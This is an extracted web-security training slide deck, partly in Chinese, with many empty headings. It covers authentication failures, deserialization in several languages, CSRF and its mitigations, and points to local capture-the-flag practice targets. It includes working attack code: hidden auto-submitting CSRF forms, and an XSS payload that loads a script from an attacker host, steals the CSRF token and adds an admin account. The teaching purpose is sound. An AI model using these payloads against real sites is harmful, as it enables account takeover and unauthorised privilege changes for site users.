Practical Web Hacking and Exploitation

Part 3


A7 Identification and Authentication Failures


Introduction

網站應用程式中自行撰寫的身份驗證相關功能有缺陷,例如登入時:


Cont.

實際例子如:


實際案例 1 - 佐克伯多個社群帳號遭駭,全因LinkedIn失守

原來馬克的Twitter 密碼是「dadada」!


實際案例 2 - 未實作安全的驗證功能


實際案例 3 - Exploiting OAuth Misconfiguration To Takeover Flickr Accounts


實際案例 4 - Gentoo公開說明GitHub帳號被駭事件原委,原來是管理員密碼被猜到惹的禍

由於駭客把所有開發人員從GitHub的Gentoo專案中移除,使得大家都收到了通知電子郵件,才讓這個攻擊提早曝光。Gentoo Linux官方緊急聯絡GitHub凍結該帳戶,才沒有讓損害擴大。


Practice 1

Get admin’s password

http://127.0.0.1:8102/


Practice 2

Get the Flag

http://127.0.0.1:8103/


Cont.

Hint:

  1. No SQLi
  2. Source code: http://127.0.0.1:8103/check.phps
  3. php’s md5(Array) returns NULL
  4. Trick: https://speakerdeck.com/phith0n/ctfbi-sai-zong-shi-shu-ni-huan-chai-dian-tricks?slide=16

A8 Software and Data Integrity Failures


What’s the Serialization


PHP - serialize


Cont.


Cont.

Sample Code

class Test { var $content; function hello(){ $this->content = "Hello World!"; echo $this->content; } } $test = new Test(); echo serialize($test);

Response

O:4:"Test":1:{s:7:"content";N;}

Phar’s internal


Case Study


Practice 1

Get the flag

http://127.0.0.1:8104/

Hint:


Java - Serialization & Deserialization


Java - readObject


ASP.NET 4.X


ASP.NET Security

Ref: ASP.NET MVC 5 APPLICATION LIFECYCLE


MachineKey

Ref: Cryptographic Improvements in ASP.NET 4.5, pt. 1


ViewState and its good company


Before ASP.NET 4.5

After ASP.NET 4.5

Gadgets


Case Studies

Python - pickle


Case Study


Ruby - Marshal


CVE-2013-0156


Practice 2

Get the flag

http://127.0.0.1:8105/


Cont.

rack-2.0.3/lib/rack/session/abstract/id.rb

def current_session_id(req)
  req.get_header(RACK_SESSION).id
end
req: !ruby/object:Rack::Request
  env:
    "rack.session": !ruby/object:Rack::Session::Abstract::SessionHash
      id: 'hi from espr'
      ...

Cont.

rack-2.0.3/lib/rack/session/cookie.rb

def unpacked_cookie_data(request)
  request.fetch_header(RACK_SESSION_UNPACKED_COOKIE_DATA) do |k|
    session_data = request.cookies[@key]

    if @secrets.size > 0 && session_data
      digest, session_data = session_data.reverse.split("--", 2)
      digest.reverse! if digest
      session_data.reverse! if session_data
      session_data = nil unless digest_match?(session_data, digest)
    end

    request.set_header(k, coder.decode(session_data) || {})
  end
end

Appendix

Cross-Site Request Forgery (CSRF)


Introduction


Example

Say, we have a remittance button to make a remittance.

<a id="remittance" href="/remittance.php?id=xxx&amount=10000">Remittance</a>

Cont.

We also do check if a valid session id is followed with an incoming request.

Seems no problem at all, right?


Cont.

No. Imagine a bad guy send a link to a normal user, and the content of that link is:

<img width="0" height="0" src="/remittance.php?id=xxx&amount=10000" />

The request of making a remittance will sliently be sent on behalf of the normal user. :jack_o_lantern:


How about POST method?

<iframe style="display:none" name="csrf-frame"></iframe> <form method="POST" action="http://xxx.com/remittance.php" target="csrf-frame" id="csrf-form"> <input type="hidden" name="id" value="xxx"> <input type="hidden" name="amount" value="30000"> <input type='submit' value='submit'> </form> <script> document.getElementById("csrf-form").submit(); </script>

Mitigation

Let’s recall the rationale of CSRF attack, it will succeed because the server doesn’t know if the request was sent by the user himself / herself.


Referer Header

* Ref: https://en.wikipedia.org/wiki/HTTP_referer


Cont.

CAPTCHA


Cont.

Quiz


Cont.

CAPTCHA, reCAPTCHA, and noCAPTCHA reCAPTCHA are good mitigations to CSRF attack indeed.

Nevertheless, users will soon get annoyed by guessing pictures or text.


CSRF token

  1. A random value generated by the server, and stored it in the session owned by the server
  2. When a request comes in, the server will compare the value given by the request with the value stored in the session
  3. The attack will not work because the hacker didn’t know the CSRF token, so he / she cannot make a legitimate request

Bypass CSRF token protection by leveraging XSS


Cont.

Cont.
  1. Send a XSS payload like:
http://www.site_vulnerable.com/index.php?name=<script src="http://www.attacker.com/script.js"></script>
  1. The content inside the script.js is:
document.writeln('<iframe id="iframe" onload="read()" width="0" height="0" src="/admin/admin.php?action=add_admin"></iframe>'); function read() { var name = 'Boik'; var token = document.getElementById("iframe").contentDocument.forms[0].token.value; document.writeln('<form width="0" height="0" method="post" action="/admin/add_admin.php">'); document.writeln('<input type="text" name="name" value="' + name + '" /><br />'); document.writeln('<input type="hidden" name="token" value="' + token + '" />'); document.writeln('<input type="submit" name="submit" value="Add_admin" /><br/>'); document.writeln('</form>'); document.forms[0].submit.click(); }

Cont.

Or even easier with the support of Firefox.



Cont.

Unfortunately, there are two common scenarios where writing cookies across domains is possible


First

Cont.

Second

Cont.


Cont.

How to use?


Cont.

Cont.

Cont.

Table


References


Cont.


Thank you :flushed:

boik.su@cycarrier.com